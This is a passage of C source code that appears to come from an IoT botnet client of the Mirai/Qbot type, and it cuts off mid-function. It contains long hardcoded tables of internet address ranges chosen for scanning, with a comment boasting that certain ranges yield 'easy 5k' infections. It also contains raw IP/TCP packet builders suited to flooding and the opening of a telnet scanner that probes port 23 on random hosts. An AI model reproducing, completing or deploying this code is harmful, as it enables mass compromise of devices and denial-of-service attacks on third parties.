  2479. szprintf(ip, "113.160.%d.%d", ipState[2], ipState[3]);
  2480. }
  2481. if(randnum == 99)
  2482. {
  2483. szprintf(ip, "113.161.%d.%d", ipState[2], ipState[3]);
  2484. }
  2485. if(randnum == 100)
  2486. {
  2487. szprintf(ip, "113.162.%d.%d", ipState[2], ipState[3]);
  2488. }
  2489. if(randnum == 101)
  2490. {
  2491. szprintf(ip, "113.163.%d.%d", ipState[2], ipState[3]);
  2492. }
  2493. if(randnum == 102)
  2494. {
  2495. szprintf(ip, "113.164.%d.%d", ipState[2], ipState[3]);
  2496. }
  2497. if(randnum == 103)
  2498. {
  2499. szprintf(ip, "113.165.%d.%d", ipState[2], ipState[3]);
  2500. }
  2501. if(randnum == 104)
  2502. {
  2503. szprintf(ip, "113.166.%d.%d", ipState[2], ipState[3]);
  2504. }
  2505. if(randnum == 105)
  2506. {
  2507. szprintf(ip, "113.167.%d.%d", ipState[2], ipState[3]);
  2508. }
  2509. if(randnum == 106)
  2510. {
  2511. szprintf(ip, "113.168.%d.%d", ipState[2], ipState[3]);
  2512. }
  2513. if(randnum == 107)
  2514. {
  2515. szprintf(ip, "113.169.%d.%d", ipState[2], ipState[3]);
  2516. }
  2517. if(randnum == 108)
  2518. {
  2519. szprintf(ip, "123.17.%d.%d", ipState[2], ipState[3]);
  2520. }
  2521. if(randnum == 109)
  2522. {
  2523. szprintf(ip, "123.21.%d.%d", ipState[2], ipState[3]);
  2524. }
  2525. if(randnum == 110)
  2526. {
  2527. szprintf(ip, "123.22.%d.%d", ipState[2], ipState[3]);
  2528. }
  2529. if(randnum == 111)
  2530. {
  2531. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  2532. }
  2533. if(randnum == 112)
  2534. {
  2535. szprintf(ip, "222.253.%d.%d", ipState[2], ipState[3]);
  2536. }
  2537. if(randnum == 113)
  2538. {
  2539. szprintf(ip, "222.254.%d.%d", ipState[2], ipState[3]);
  2540. }
  2541. if(randnum == 114)
  2542. {
  2543. szprintf(ip, "222.255.%d.%d", ipState[2], ipState[3]);
  2544. }
  2545. if(randnum == 115)
  2546. {
  2547. szprintf(ip, "41.208.%d.%d", ipState[2], ipState[3]);
  2548. }
  2549.  
  2550. if(randnum == 116)
  2551. {
  2552. szprintf(ip, "103.198.%d.%d", ipState[2], ipState[3]);
  2553. }
  2554. if(randnum == 117)
  2555. {
  2556. szprintf(ip, "88.248.%d.%d", ipState[2], ipState[3]);
  2557. }
  2558. if(randnum == 118)
  2559. {
  2560. szprintf(ip, "88.105.%d.%d", ipState[2], ipState[3]);
  2561. }
  2562. if(randnum == 119)
  2563. {
  2564. szprintf(ip, "88.247.%d.%d", ipState[2], ipState[3]);
  2565. }
  2566. if(randnum == 120)
  2567. {
  2568. szprintf(ip, "85.105.%d.%d", ipState[2], ipState[3]);
  2569. }
  2570. if(randnum == 121)
  2571. {
  2572. szprintf(ip, "188.3.%d.%d", ipState[2], ipState[3]);
  2573. }
  2574. if(randnum == 122)
  2575. {
  2576. szprintf(ip, "103.203.%d.%d", ipState[2], ipState[3]);
  2577. }
  2578. if(randnum == 123)
  2579. {
  2580. szprintf(ip, "103.55.%d.%d", ipState[2], ipState[3]);
  2581. }
  2582. if(randnum == 124)
  2583. {
  2584. szprintf(ip, "103.220.%d.%d", ipState[2], ipState[3]);
  2585. }
  2586. if(randnum == 125)
  2587. {
  2588. szprintf(ip, "183.233.%d.%d", ipState[2], ipState[3]);
  2589. }
  2590. if(randnum == 126)
  2591. {
  2592. szprintf(ip, "103.242.%d.%d", ipState[2], ipState[3]);
  2593. }
  2594. if(randnum == 127)
  2595. {
  2596. szprintf(ip, "103.198.%d.%d", ipState[2], ipState[3]);
  2597. }
  2598. if(randnum == 128)
  2599. {
  2600. szprintf(ip, "103.14.%d.%d", ipState[2], ipState[3]);
  2601. }
  2602. if(randnum == 129)
  2603. {
  2604. szprintf(ip, "103.195.%d.%d", ipState[2], ipState[3]);
  2605. }
  2606. if(randnum == 130)
  2607. {
  2608. szprintf(ip, "103.203.%d.%d", ipState[2], ipState[3]);
  2609. }
  2610. if(randnum == 131)
  2611. {
  2612. szprintf(ip, "103.214.%d.%d", ipState[2], ipState[3]);
  2613. }
  2614. if(randnum == 132)
  2615. {
  2616. szprintf(ip, "103.218.%d.%d", ipState[2], ipState[3]);
  2617. }
  2618. if(randnum == 133)
  2619. {
  2620. szprintf(ip, "103.225.%d.%d", ipState[2], ipState[3]);
  2621. }
  2622. if(randnum == 134)
  2623. {
  2624. szprintf(ip, "103.228.%d.%d", ipState[2], ipState[3]);
  2625. }
  2626. if(randnum == 135)
  2627. {
  2628. szprintf(ip, "103.231.%d.%d", ipState[2], ipState[3]);
  2629. }
  2630. if(randnum == 136)
  2631. {
  2632. szprintf(ip, "103.60.%d.%d", ipState[2], ipState[3]);
  2633. }
  2634. if(randnum == 137)
  2635. {
  2636. szprintf(ip, "103.248.%d.%d", ipState[2], ipState[3]);
  2637. }
  2638. if(randnum == 138)
  2639. {
  2640. szprintf(ip, "103.253.%d.%d", ipState[2], ipState[3]);
  2641. }
  2642. if(randnum == 139)
  2643. {
  2644. szprintf(ip, "103.255.%d.%d", ipState[2], ipState[3]);
  2645. }
  2646. if(randnum == 140)
  2647. {
  2648. szprintf(ip, "113.176.%d.%d", ipState[2], ipState[3]);
  2649. }
  2650. if(randnum == 141)
  2651. {
  2652. szprintf(ip, "113.175.%d.%d", ipState[2], ipState[3]);
  2653. }
  2654. if(randnum == 142)
  2655. {
  2656. szprintf(ip, "203.134.%d.%d", ipState[2], ipState[3]);
  2657. }
  2658. if(randnum == 143)
  2659. {
  2660. szprintf(ip, "203.210.%d.%d", ipState[2], ipState[3]);
  2661. }
  2662. if(randnum == 144)
  2663. {
  2664. szprintf(ip, "117.176.%d.%d", ipState[2], ipState[3]);
  2665. }
  2666. if(randnum == 145)
  2667. {
  2668. szprintf(ip, "117.171.%d.%d", ipState[2], ipState[3]);
  2669. }
  2670. if(randnum == 146)
  2671. {
  2672. szprintf(ip, "117.162.%d.%d", ipState[2], ipState[3]);
  2673. }
  2674. if(randnum == 147)
  2675. {
  2676. szprintf(ip, "203.150.%d.%d", ipState[2], ipState[3]);
  2677. }
  2678. if(randnum == 148)
  2679. {
  2680. szprintf(ip, "157.119.%d.%d", ipState[2], ipState[3]);
  2681. }
  2682. if(randnum == 149)
  2683. {
  2684. szprintf(ip, "43.228.%d.%d", ipState[2], ipState[3]);
  2685. }
  2686. if(randnum == 150)
  2687. {
  2688. szprintf(ip, "162.12.%d.%d", ipState[2], ipState[3]);
  2689. }
  2690. if(randnum == 151)
  2691. {
  2692. szprintf(ip, "115.220.%d.%d", ipState[2], ipState[3]);
  2693. }
  2694. if(randnum == 152)
  2695. {
  2696. szprintf(ip, "125.114.%d.%d", ipState[2], ipState[3]);
  2697. }
  2698. if(randnum == 153)
  2699. {
  2700. szprintf(ip, "112.5.%d.%d", ipState[3], ipState[4]);
  2701. }
  2702. if(randnum == 154)
  2703. {
  2704. szprintf(ip, "117.165.%d.%d", ipState[3], ipState[4]);
  2705. }
  2706. if(randnum == 155)
  2707. {
  2708. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  2709. }
  2710. if(randnum == 156)
  2711. {
  2712. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  2713. }
  2714. if(randnum == 157)
  2715. {
  2716. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  2717. }
  2718. if(randnum == 158)
  2719. {
  2720. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  2721. }
  2722. if(randnum == 159)
  2723. {
  2724. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  2725. }
  2726. if(randnum == 160)
  2727. {
  2728. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  2729. }
  2730. if(randnum == 161)
  2731. {
  2732. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  2733. }
  2734. if(randnum == 162)
  2735. {
  2736. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  2737. }
  2738. if(randnum == 163)
  2739. {
  2740. szprintf(ip, "221.120.%d.%d", ipState[3], ipState[4]);
  2741. }
  2742. if(randnum == 164)
  2743. {
  2744. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  2745. }
  2746. if(randnum == 165)
  2747. {
  2748. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  2749. }
  2750. if(randnum == 166)
  2751. {
  2752. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  2753. }
  2754. if(randnum == 167)
  2755. {
  2756. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  2757. }
  2758. if(randnum == 168)
  2759. {
  2760. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  2761. }
  2762. if(randnum == 169)
  2763. {
  2764. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  2765. }
  2766. if(randnum == 170)
  2767. {
  2768. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  2769. }
  2770. if(randnum == 171)
  2771. {
  2772. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  2773. }
  2774. if(randnum == 172)
  2775. {
  2776. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  2777. }
  2778. if(randnum == 173)
  2779. {
  2780. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  2781. }
  2782. if(randnum == 174)
  2783. {
  2784. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  2785. }
  2786. if(randnum == 175)
  2787. {
  2788. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  2789. }
  2790. if(randnum == 176)
  2791. {
  2792. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  2793. }
  2794. if(randnum == 177)
  2795. {
  2796. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  2797. }
  2798. if(randnum == 178)
  2799. {
  2800. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  2801. }
  2802. if(randnum == 179)
  2803. {
  2804. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  2805. }
  2806. if(randnum == 180)
  2807. {
  2808. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  2809. }
  2810. if(randnum == 181)
  2811. {
  2812. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  2813. }
  2814. if(randnum == 182)
  2815. {
  2816. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  2817. }
  2818. if(randnum == 183)
  2819. {
  2820. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  2821. }
  2822. if(randnum == 184)
  2823. {
  2824. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  2825. }
  2826. if(randnum == 185)
  2827. {
  2828. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  2829. }
  2830. if(randnum == 186)
  2831. {
  2832. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  2833. }
  2834. if(randnum == 187)
  2835. {
  2836. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  2837. }
  2838. if(randnum == 188)
  2839. {
  2840. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  2841. }
  2842. if(randnum == 189)
  2843. {
  2844. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  2845. }
  2846. if(randnum == 190)
  2847. {
  2848. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  2849. }
  2850. if(randnum == 191)
  2851. {
  2852. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  2853. }
  2854. if(randnum == 192)
  2855. {
  2856. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  2857. }
  2858. if(randnum == 193)
  2859. {
  2860. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  2861. }
  2862. if(randnum == 194)
  2863. {
  2864. szprintf(ip, "60.0.%d.%d", ipState[3], ipState[4]);
  2865. }
  2866. if(randnum == 195)
  2867. {
  2868. szprintf(ip, "60.16.%d.%d", ipState[3], ipState[4]);
  2869. }
  2870. if(randnum == 196)
  2871. {
  2872. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  2873. }
  2874. if(randnum == 197)
  2875. {
  2876. szprintf(ip, "62.30.%d.%d", ipState[3], ipState[4]);
  2877. }
  2878. if(randnum == 198)
  2879. {
  2880. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  2881. }
  2882. if(randnum == 199)
  2883. {
  2884. szprintf(ip, "62.254.%d.%d", ipState[3], ipState[4]);
  2885. }
  2886. if(randnum == 200)
  2887. {
  2888. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  2889. }
  2890. if(randnum == 201)
  2891. {
  2892. szprintf(ip, "77.96.%d.%d", ipState[3], ipState[4]);
  2893. }
  2894. if(randnum == 202)
  2895. {
  2896. szprintf(ip, "77.97.%d.%d", ipState[3], ipState[4]);
  2897. }
  2898. if(randnum == 203)
  2899. {
  2900. szprintf(ip, "77.98.%d.%d", ipState[3], ipState[4]);
  2901. }
  2902. if(randnum == 204)
  2903. {
  2904. szprintf(ip, "77.100.%d.%d", ipState[3], ipState[4]);
  2905. }
  2906. if(randnum == 205)
  2907. {
  2908. szprintf(ip, "77.102.%d.%d", ipState[3], ipState[4]);
  2909. }
  2910. if(randnum == 206)
  2911. {
  2912. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  2913. }
  2914. if(randnum == 207)
  2915. {
  2916. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  2917. }
  2918. if(randnum == 208)
  2919. {
  2920. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  2921. }
  2922. if(randnum == 209)
  2923. {
  2924. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  2925. }
  2926. if(randnum == 210)
  2927. {
  2928. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  2929. }
  2930. if(randnum == 211)
  2931. {
  2932. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  2933. }
  2934. if(randnum == 212)
  2935. {
  2936. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  2937. }
  2938. if(randnum == 213)
  2939. {
  2940. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  2941. }
  2942. if(randnum == 214)
  2943. {
  2944. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  2945. }
  2946. if(randnum == 215)
  2947. {
  2948. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  2949. }
  2950. if(randnum == 216)
  2951. {
  2952. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  2953. }
  2954. if(randnum == 217)
  2955. {
  2956. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  2957. }
  2958. if(randnum == 218)
  2959. {
  2960. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  2961. }
  2962. if(randnum == 219)
  2963. {
  2964. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  2965. }
  2966. if(randnum == 220)
  2967. {
  2968. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  2969. }
  2970. if(randnum == 221)
  2971. {
  2972. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  2973. }
  2974. if(randnum == 222)
  2975. {
  2976. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  2977. }
  2978. if(randnum == 223)
  2979. {
  2980. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  2981. }
  2982. if(randnum == 224)
  2983. {
  2984. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  2985. }
  2986. if(randnum == 225)
  2987. {
  2988. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  2989. }
  2990. if(randnum == 226)
  2991. {
  2992. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  2993. }
  2994. if(randnum == 227)
  2995. {
  2996. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  2997. }
  2998. if(randnum == 228)
  2999. {
  3000. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  3001. }
  3002. if(randnum == 229)
  3003. {
  3004. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  3005. }
  3006. if(randnum == 230)
  3007. {
  3008. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  3009. }
  3010. if(randnum == 231)
  3011. {
  3012. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  3013. }
  3014. if(randnum == 232)
  3015. {
  3016. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  3017. }
  3018. if(randnum == 233)
  3019. {
  3020. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  3021. }
  3022. if(randnum == 234)
  3023. {
  3024. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  3025. }
  3026. if(randnum == 235)
  3027. {
  3028. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  3029. }
  3030. if(randnum == 236)
  3031. {
  3032. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  3033. }
  3034. if(randnum == 237)
  3035. {
  3036. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  3037. }
  3038. if(randnum == 238)
  3039. {
  3040. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  3041. }
  3042. if(randnum == 239)
  3043. {
  3044. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  3045. }
  3046. if(randnum == 240)
  3047. {
  3048. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  3049. }
  3050. if(randnum == 241)
  3051. {
  3052. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  3053. }
  3054. if(randnum == 242)
  3055. {
  3056. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  3057. }
  3058. if(randnum == 243)
  3059. {
  3060. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  3061. }
  3062. if(randnum == 244)
  3063. {
  3064. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  3065. }
  3066. if(randnum == 245)
  3067. {
  3068. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  3069. }
  3070. if(randnum == 256)
  3071. {//if you hit these ranges right here then easy 5k
  3072. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  3073. }
  3074. if(randnum == 257)
  3075. {
  3076. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  3077. }
  3078. if(randnum == 258)
  3079. {
  3080. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  3081. }
  3082. if(randnum == 259)
  3083. {
  3084. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  3085. }
  3086. if(randnum == 260)
  3087. {
  3088. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  3089. }
  3090. if(randnum == 261)
  3091. {
  3092. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  3093. }
  3094. if(randnum == 262)
  3095. {
  3096. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  3097. }
  3098. if(randnum == 263)
  3099. {
  3100. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  3101. }
  3102. if(randnum == 264)
  3103. {
  3104. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  3105. }
  3106. if(randnum == 265)
  3107. {
  3108. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  3109. }
  3110. if(randnum == 266)
  3111. {
  3112. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  3113. }
  3114. if(randnum == 267)
  3115. {
  3116. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  3117. }
  3118. if(randnum == 268)
  3119. {
  3120. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  3121. }
  3122. if(randnum == 269)
  3123. {
  3124. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  3125. }
  3126. if(randnum == 270)
  3127. {
  3128. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  3129. }
  3130. if(randnum == 271)
  3131. {
  3132. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  3133. }
  3134. if(randnum == 272)
  3135. {
  3136. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  3137. }
  3138. if(randnum == 273)
  3139. {
  3140. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  3141. }
  3142. if(randnum == 274)
  3143. {
  3144. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  3145. }
  3146. if(randnum == 275)
  3147. {
  3148. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  3149. }
  3150. if(randnum == 276)
  3151. {
  3152. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  3153. }
  3154. if(randnum == 277)
  3155. {
  3156. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  3157. }
  3158. if(randnum == 278)
  3159. {
  3160. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  3161. }
  3162. if(randnum == 279)
  3163. {
  3164. szprintf(ip, "183.71.%d.%d", ipState[3], ipState[4]);
  3165. }
  3166. if(randnum == 280)
  3167. {
  3168. szprintf(ip, "192.168.%d.%d", ipState[3], ipState[4]);
  3169. }
  3170. if(randnum == 281)
  3171. {
  3172. szprintf(ip, "89.71.%d.%d", ipState[3], ipState[4]);
  3173. }
  3174. if(randnum == 282)
  3175. {
  3176. szprintf(ip, "244.77.%d.%d", ipState[3], ipState[4]);
  3177. }
  3178. if(randnum == 283)
  3179. {
  3180. szprintf(ip, "179.105.%d.%d", ipState[3], ipState[4]);
  3181. }
  3182. if(randnum == 284)
  3183. {
  3184. szprintf(ip, "125.27.%d.%d", ipState[3], ipState[4]);
  3185. }
  3186. if(randnum == 285)
  3187. {
  3188. szprintf(ip, "189.29.%d.%d", ipState[3], ipState[4]);
  3189. }
  3190. if(randnum == 287)
  3191. {
  3192. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  3193. }
  3194. if(randnum == 288)
  3195. {
  3196. szprintf(ip, "189.35.%d.%d", ipState[3], ipState[4]);
  3197. }
  3198. if(randnum == 289)
  3199. {
  3200. szprintf(ip, "189.4.%d.%d", ipState[3], ipState[4]);
  3201. }
  3202. if(randnum == 290)
  3203. {
  3204. szprintf(ip, "101.105.%d.%d", ipState[3], ipState[4]);
  3205. }
  3206. return inet_addr(ip);
  3207. }
  3208.  
  3209. int telnettestrange = 1;
  3210. in_addr_t telnettestfindARandomIP()
  3211. {
  3212. if(telnettestrange < 1 || telnettestrange > 2)
  3213. {
  3214. return getRandomPublicIP();
  3215. }
  3216. else
  3217. {
  3218. if(telnettestrange == 1){
  3219. return getRandomPublicIP();
  3220. }
  3221. else if(telnettestrange == 2)
  3222. {
  3223. return HackerScan1();
  3224. }
  3225. else
  3226. {
  3227. return HackerScan1();
  3228. }
  3229. }
  3230. }
  3231. int telnetrange = 1;
  3232. in_addr_t telnetfindARandomIP()
  3233. {
  3234. if(telnetrange < 1 || telnetrange > 2)
  3235. {
  3236. return getRandomPublicIP();
  3237. }
  3238. else
  3239. {
  3240. if(telnetrange == 1){
  3241. return getRandomPublicIP();
  3242. }
  3243. else if(telnetrange == 2)
  3244. {
  3245. return HackerScan1();
  3246. }
  3247. else
  3248. {
  3249. return HackerScan1();
  3250. }
  3251. }
  3252. }
  3253. int miraitestrange = 1;
  3254. in_addr_t miraitestfindARandomIP()
  3255. {
  3256. if(miraitestrange < 1 || miraitestrange > 2)
  3257. {
  3258. return getRandomPublicIP();
  3259. }
  3260. else
  3261. {
  3262. if(miraitestrange == 1){
  3263. return MiraiIPRanges();
  3264. }
  3265. else if(miraitestrange == 2)
  3266. {
  3267. return HackerScan1();
  3268. }
  3269. else
  3270. {
  3271. return MiraiIPRanges();
  3272. }
  3273. }
  3274. }
  3275. int mirairange = 1;
  3276. in_addr_t miraifindARandomIP()
  3277. {
  3278. if(mirairange < 1 || mirairange > 2)
  3279. {
  3280. return MiraiIPRanges();
  3281. }
  3282. else
  3283. {
  3284. if(mirairange == 1){
  3285. return getRandomPublicIP();
  3286. }
  3287. else if(mirairange == 2)
  3288. {
  3289. return HackerScan1();
  3290. }
  3291. else
  3292. {
  3293. return MiraiIPRanges();
  3294. }
  3295. }
  3296. }
  3297. in_addr_t getRandomIP(in_addr_t netmask) {
  3298.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  3299.         return tmp ^ ( rand_cmwc() & ~netmask);
  3300. }
  3301. unsigned short csum (unsigned short *buf, int count) {
  3302.         register uint64_t sum = 0;
  3303.         while( count > 1 ) { sum += *buf++; count -= 2; }
  3304.         if(count > 0) { sum += *(unsigned char *)buf; }
  3305.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  3306.         return (uint16_t)(~sum);
  3307. }
  3308. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  3309.         struct tcp_pseudo {
  3310.                 unsigned long src_addr;
  3311.                 unsigned long dst_addr;
  3312.                 unsigned char zero;
  3313.                 unsigned char proto;
  3314.                 unsigned short length;
  3315.         } pseudohead;
  3316.         unsigned short total_len = iph->tot_len;
  3317.         pseudohead.src_addr=iph->saddr;
  3318.         pseudohead.dst_addr=iph->daddr;
  3319.         pseudohead.zero=0;
  3320.         pseudohead.proto=IPPROTO_TCP;
  3321.         pseudohead.length=htons(sizeof(struct tcphdr));
  3322.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  3323.         unsigned short *tcp = malloc(totaltcp_len);
  3324.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  3325.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  3326.         unsigned short output = csum(tcp,totaltcp_len);
  3327.         free(tcp);
  3328.         return output;
  3329. }
  3330. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  3331.         iph->ihl = 5;
  3332.         iph->version = 4;
  3333.         iph->tos = 0;
  3334.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  3335.         iph->id = rand_cmwc();
  3336.         iph->frag_off = 0;
  3337.         iph->ttl = MAXTTL;
  3338.         iph->protocol = protocol;
  3339.         iph->check = 0;
  3340.         iph->saddr = source;
  3341.         iph->daddr = dest;
  3342. }
  3343. int sclose(int fd) {
  3344.         if(3 > fd) return 1;
  3345.         close(fd);
  3346.         return 0;
  3347. }
  3348. int echo_connect(char *host, in_port_t port){
  3349.         struct hostent *hp;
  3350.         struct sockaddr_in addr;
  3351.         int on = 1, sock;    
  3352.  
  3353.         if((hp = gethostbyname(host)) == NULL){
  3354.                 herror("gethostbyname");
  3355.                 exit(1);
  3356.         }
  3357.         bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  3358.         addr.sin_port = htons(port);
  3359.         addr.sin_family = AF_INET;
  3360.         sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  3361.         setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  3362.  
  3363.         if(sock == -1){
  3364.                 perror("setsockopt");
  3365.                 exit(1);
  3366.         }
  3367.        
  3368.         if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
  3369.                 perror("connect");
  3370.                 exit(1);
  3371.  
  3372.         }
  3373.         return sock;
  3374. }
  3375. void BCMscanner() {
  3376. int maxfds = 312, i, res, j, valopt;
  3377. int max = maxfds;
  3378. char buf[128], cur_dir;
  3379. fd_set fdset;
  3380. struct timeval tv;
  3381. socklen_t lon;
  3382. srand(time(NULL) ^ rand_cmwc());
  3383. char line[256];
  3384. char* buffer;
  3385. struct sockaddr_in dest_addr;
  3386. dest_addr.sin_family = AF_INET;
  3387. dest_addr.sin_port = htons(23);
  3388. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3389. buffer = malloc(312 + 1);
  3390. memset(buffer, 0, 312 + 1);
  3391. struct telstate_t fds[max];
  3392. memset(fds, 0, max * (sizeof(int) + 1));
  3393. for(i = 0; i < max; i++) {
  3394. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3395. fds[i].complete = 1;
  3396. fds[i].sockbuf = buffer; }
  3397. while(1) {
  3398. for(i = 0; i < max; i++) {
  3399. if(fds[i].tTimeout == 0) {
  3400. fds[i].tTimeout = time(NULL); }
  3401. switch(fds[i].state) {
  3402. case 0: {
  3403. if(fds[i].complete == 1) {
  3404. char *tmp = fds[i].sockbuf;
  3405. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3406. fds[i].sockbuf = tmp;
  3407. fds[i].ip = BCMSCAN(); }
  3408. dest_addr.sin_family = AF_INET;
  3409. dest_addr.sin_port = htons(23);
  3410. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3411. dest_addr.sin_addr.s_addr = fds[i].ip;
  3412. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  3413. if(fds[i].fd == -1) continue;
  3414. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  3415. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  3416. sclose(fds[i].fd);
  3417. fds[i].complete = 1; }
